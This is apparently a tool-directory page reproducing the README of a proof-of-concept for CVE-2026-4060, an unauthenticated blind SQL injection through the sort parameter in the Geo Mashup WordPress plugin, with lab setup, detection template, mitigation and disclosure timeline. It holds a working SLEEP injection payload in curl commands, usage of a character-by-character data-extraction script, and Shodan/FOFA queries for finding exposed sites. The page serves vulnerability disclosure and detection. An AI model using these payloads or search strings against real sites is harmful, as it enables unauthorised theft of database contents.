Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-4060-PoC — Proof-of-concept for CVE-2026-4060: unauthenticated time-based blind SQL injection in Geo Mashup WordPress plugin via ORDER BY clause. Includes exploit script, lab environment, and Nuclei detection template. | Kitploit
Tools/GitHubGitHub/ydking0911/cve-2026-4060-poc
Vulnerability AnalysisExploitationWeb Application ExploitationCTFPenetration TestingLearning & Education
GitHubydking0911/cve-2026-4060-poc

CVE-2026-4060-PoC

Proof-of-concept for CVE-2026-4060: unauthenticated time-based blind SQL injection in Geo Mashup WordPress plugin via ORDER BY clause. Includes exploit script, lab environment, and Nuclei detection template.

View Repository
3 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-4060 — Geo Mashup ≤ 1.13.18 Unauthenticated SQL Injection PoC

Severity CVSS Type Status

Unauthenticated attackers can inject arbitrary SQL into the ORDER BY clause via the sort parameter of the Geo Mashup render-map endpoint, enabling time-based blind extraction of sensitive database information.


Table of Contents

  • Vulnerability Overview
  • Test Environment
  • How to Run
  • Test Results
  • Mitigation
  • Detection
  • Timeline
  • References

  • Vulnerability Overview

    FieldDetail
    CVECVE-2026-4060
    PluginGeo Mashup by cyberhobo
    Affected≤ 1.13.18
    Fixed in1.13.19
    CVSS v3.17.5 (High) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    CWECWE-89 — Improper Neutralization of Special Elements in SQL
    Auth requiredNone (Unauthenticated)

    Technical Detail

    The sort parameter accepted by the render-map endpoint is passed directly into a $wpdb->get_results() call without sanitization:

    root@kitploit:~
    // render-map.php (simplified)
    $sort = $_GET['sort'];
    $results = $wpdb->get_results(
        "SELECT ... FROM wp_geo_mashup_locations ... ORDER BY $sort"
    );
    

    Because $sort is interpolated as-is, an attacker can inject a subquery into the ORDER BY clause. WordPress's wpdb escapes single quotes, so the PoC uses ORD(SUBSTRING(...)) with numeric comparisons to bypass this restriction and perform time-based blind extraction.

    Vulnerable endpoint:

    root@kitploit:~
    GET /?geo_mashup_content=render-map&map_content=global&sort=<PAYLOAD>
    

    Test Environment

    ComponentVersion
    OSmacOS (Darwin 25.4.0)
    Docker27.x
    WordPress6.8.2 (PHP 8.2, Apache)
    MariaDB11.4
    Geo Mashup1.13.18 (vulnerable)
    Python3.x (for poc.py)
    Nucleiv3.8.0

    Lab Architecture

    root@kitploit:~
    ┌─────────────────────────────────┐
    │  Host (localhost:8080)          │
    │                                 │
    │  ┌─────────────┐  ┌──────────┐  │
    │  │ WordPress   │  │ MariaDB  │  │
    │  │ 6.8.2+PHP82 │──│  11.4    │  │
    │  │ :80         │  │ :3306    │  │
    │  └─────────────┘  └──────────┘  │
    │       + Geo Mashup 1.13.18      │
    └─────────────────────────────────┘
    

    Geo Mashup 1.13.18 active in WordPress admin:

    Geo Mashup 1.13.18 active in WordPress admin


    How to Run

    1. Start the lab

    root@kitploit:~
    git clone https://github.com/ydking0911/CVE-2026-4060-PoC.git
    cd CVE-2026-4060-PoC
    bash setup.sh
    

    setup.sh will:

    • Spin up WordPress 6.8.2 + MariaDB 11.4 containers
    • Install and activate Geo Mashup 1.13.18 (vulnerable version) via WP-CLI
    • Create a geo-tagged post so the map endpoint returns a valid response

    Once complete:

    • Site: http://localhost:8080
    • Admin: http://localhost:8080/wp-admin (user: admin / pass: admin)

    2. Confirm vulnerability (SLEEP injection)

    root@kitploit:~
    time curl -s -o /dev/null \
      "http://localhost:8080/?geo_mashup_content=render-map&map_content=global&sort=%28SELECT%280%29FROM%28SELECT%28SLEEP%288%29%29%29a%29"
    

    A response delay of ~8 seconds confirms ORDER BY SQL injection.

    3. Extract data (PoC)

    root@kitploit:~
    # Default — print extracted results only
    python3 poc.py --url http://localhost:8080
    
    # Verbose — show each payload, response time, and extracted character
    python3 poc.py --url http://localhost:8080 --verbose
    
    # Confirm SQLi only, skip data extraction
    python3 poc.py --url http://localhost:8080 --confirm-only
    

    4. Run Nuclei detection template

    root@kitploit:~
    nuclei -t nuclei/CVE-2026-4060.yaml -u http://localhost:8080
    

    5. Tear down the lab

    root@kitploit:~
    docker compose down -v
    

    Test Results

    True Positive (TP) — Vulnerable target

    TP-1: ORDER BY SLEEP(8) injection confirmed

    Injecting a SLEEP(8) subquery via the sort parameter produces an ~8-second response delay.

    root@kitploit:~
    time curl -s -o /dev/null \
      "http://localhost:8080/?...&sort=%28SELECT%280%29FROM%28SELECT%28SLEEP%288%29%29%29a%29"
    

    SLEEP(8) via ORDER BY — 8.05s response

    TP-2: Data extraction (verbose mode)

    The PoC extracts data character by character using ORD(SUBSTRING(...)) comparisons: send payload → measure response time → confirm character when SLEEP fires.

    root@kitploit:~
    python3 poc.py --url http://localhost:8080 --verbose
    

    poc.py verbose — payload, timing, extracted chars

    Extracted data:

    QueryResult
    VERSION()11.4.10-MariaDB
    DATABASE()wordpress
    USER()[email protected]

    TP-3: Nuclei template detection

    root@kitploit:~
    [CVE-2026-4060] [http] [high]
    http://localhost:8080/?geo_mashup_content=render-map&map_content=global&sort=%28SELECT%280%29FROM%28SELECT%28SLEEP%288%29%29%29a%29
    
    Scan completed in 8.07s. 1 matches found.
    

    False Positive (FP) — Non-vulnerable target

    The Nuclei template uses a two-step flow to prevent false positives.

    FP-1: Geo Mashup not installed

    If readme.txt returns 404 in Step 1, the scan exits immediately without sending the SQL payload.

    root@kitploit:~
    Scan completed in 62ms. 0 matches found.   ✅
    

    FP-2: Patched version (≥ 1.13.19)

    Plugin version check via readme.txt:

    readme.txt showing Stable tag: 1.13.18

    If compare_versions(version, '<= 1.13.18') fails, Step 2 is skipped entirely.

    root@kitploit:~
    Scan completed in 19ms. 0 matches found.   ✅
    

    Mitigation

    ActionDetail
    UpdateUpgrade Geo Mashup to 1.13.19 or later
    TemporaryDeactivate the plugin until an update is applied
    WAFBlock subquery injection patterns in ORDER BY clauses

    Patch commit: plugins.trac.wordpress.org/changeset/3503627


    Detection

    Nuclei template: nuclei/CVE-2026-4060.yaml

    Detection flow:

    root@kitploit:~
    Step 1: GET /wp-content/plugins/geo-mashup/readme.txt
            → confirm plugin exists + version <= 1.13.18
    
    Step 2: GET /?geo_mashup_content=render-map&...&sort=SLEEP(8)
            → status 200 + GeoMashup.createMap + duration >= 8s
    

    Shodan / FOFA:

    root@kitploit:~
    Shodan: http.html:"geo-mashup"
    FOFA:   body="geo-mashup"
    

    Timeline

    DateEvent
    2026-04Vulnerability discovered
    2026-04Reported to plugin author
    2026-05Geo Mashup 1.13.19 patch released
    2026-05-14CVE assigned and publicly disclosed

    References

    • NVD — CVE-2026-4060
    • Wordfence Advisory
    • Plugin Changeset (fix)
    • CWE-89

    Disclaimer

    This repository is for educational and authorized security testing purposes only.
    Do not use against systems you do not own or have explicit written permission to test.
    The author is not responsible for any misuse of this material.

    Download Tool